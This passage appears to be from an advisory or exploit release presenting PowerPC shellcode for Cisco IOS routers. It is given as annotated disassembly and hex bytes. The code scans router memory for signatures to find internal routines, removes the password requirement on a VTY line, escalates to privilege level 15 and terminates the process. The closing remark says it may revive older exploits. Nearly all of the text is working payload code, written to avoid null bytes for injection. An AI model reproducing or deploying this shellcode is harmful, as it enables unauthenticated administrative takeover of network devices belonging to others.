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The technique uses 4-byte signatures near references to the required addresses within the IOS "text" memory region The addresses are then recovered from memory and used within the shellcode This is beta 1 - this code can be highly optimised I'm sure, for example, the search routine could be reused and the number of registers cleared could be reduced - but it works :-) As this is the first iteration of this shellcode, I'm not making any claims as to exactly how portable it is - it has been tested on a number of IOS images and therefore, the concept has been demonstrated Various simple techniques have been used to ensure that there are no nulls in the shellcode
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equ sig_vty, 0x7F60B910 # signature for vty_info equ sig_kill, 0x639C8889 # signature for terminate() equ start, 0x80018001 # start of the search
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3c 80 80 02 lis r4,-32766 38 84 80 01 addi r4,r4,-32767 # the start address for the search 3c a0 63 9d lis r5,25501 38 a5 88 89 addi r5,r5,-30583 # the "sig_kill" search signature 38 e7 01 94 addi r7,r7,404 # add 4 without introducing nulls (technique used throughout the shellcode) 38 e7 fe 70 addi r7,r7,-400 7c c4 38 6e l1: lwzux r6,r4,r7 7c 06 28 40 cmplw r6,r5 # is address contents equal to signature 40 82 ff f8 bne 18 <l1> # no, keep searching 7c a5 2a 78 xor r5,r5,r5 # yes, found "sig_kill" 38 84 01 e8 addi r4,r4,488 38 84 fe 70 addi r4,r4,-400 7c c4 28 2e lwzx r6,r4,r5 38 a5 01 98 addi r5,r5,408 38 a5 fe 70 addi r5,r5,-400 7c c6 28 30 slw r6,r6,r5 7c c6 2c 30 srw r6,r6,r5 38 c6 ff ff addi r6,r6,-1 # r6 now contains the offset of terminate() from here 7c 84 32 14 add r4,r4,r6 # add offset to current address
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7c 8a 7c e7 3c a0 38 a5 38 e7 38 e7 7c c4 7c 06 40 82 38 84 38 84 7c e7 7c a4 38 a5 7d 08 39 08 39 08 7c a5 38 84 38 84 7c c4 7c c6 7c c6 7c a5 38 a5 array 7d 05 90 e8 38 e7 39 08 90 e8 7c e3 7d 49 4e 80
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23 78 mr r10,r4 # address of terminate() saved into r10 3a 78 xor r7,r7,r7 7f 61 lis r5,32609 b9 10 addi r5,r5,-18160 # the "sig_vty" search signature 01 94 addi r7,r7,404 fe 70 addi r7,r7,-400 38 6e l2: lwzux r6,r4,r7 28 40 cmplw r6,r5 # is address contents equal to signature ff f8 bne 64 <l2> # no, keep searching 01 a8 addi r4,r4,424 # yes, found "sig_vty" fe 70 addi r4,r4,-400 3a 78 xor r7,r7,r7 38 2e lwzx r5,r4,r7 # get two MSBs ff ff addi r5,r5,-1 42 78 xor r8,r8,r8 01 a0 addi r8,r8,416 fe 70 addi r8,r8,-400 40 30 slw r5,r5,r8 # shift MSBs into the right place (XXXX0000) 01 94 addi r4,r4,404 fe 70 addi r4,r4,-400 38 2e lwzx r6,r4,r7 # get two LSBs 40 30 slw r6,r6,r8 44 30 srw r6,r6,r8 # shift LSBs to clear the MSBs (0000YYYY) 32 14 add r5,r5,r6 # add the two together (XXXXYYYY) 01 08 addi r5,r5,264 # move to the 66th element of the (VTY 0 - see IOS "systat" command) 38 2e lwzx r8,r5,r7 # r8 = vty_info 01 74 stw r7,372(r8) # Remove the requirement to enter a password ff ff addi r7,r7,-1 09 1a addi r8,r8,2330 04 ca stw r7,1226(r8) # privilege escalate to level 15 3b 78 mr r3,r7 03 a6 mtctr r10 04 20 bctr # terminate "this process"
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Due to the late nature of Andy s release of this code we were not able to fully test his code However, if it works, a whole set of once-broken exploits may come back to life You have been forewarned
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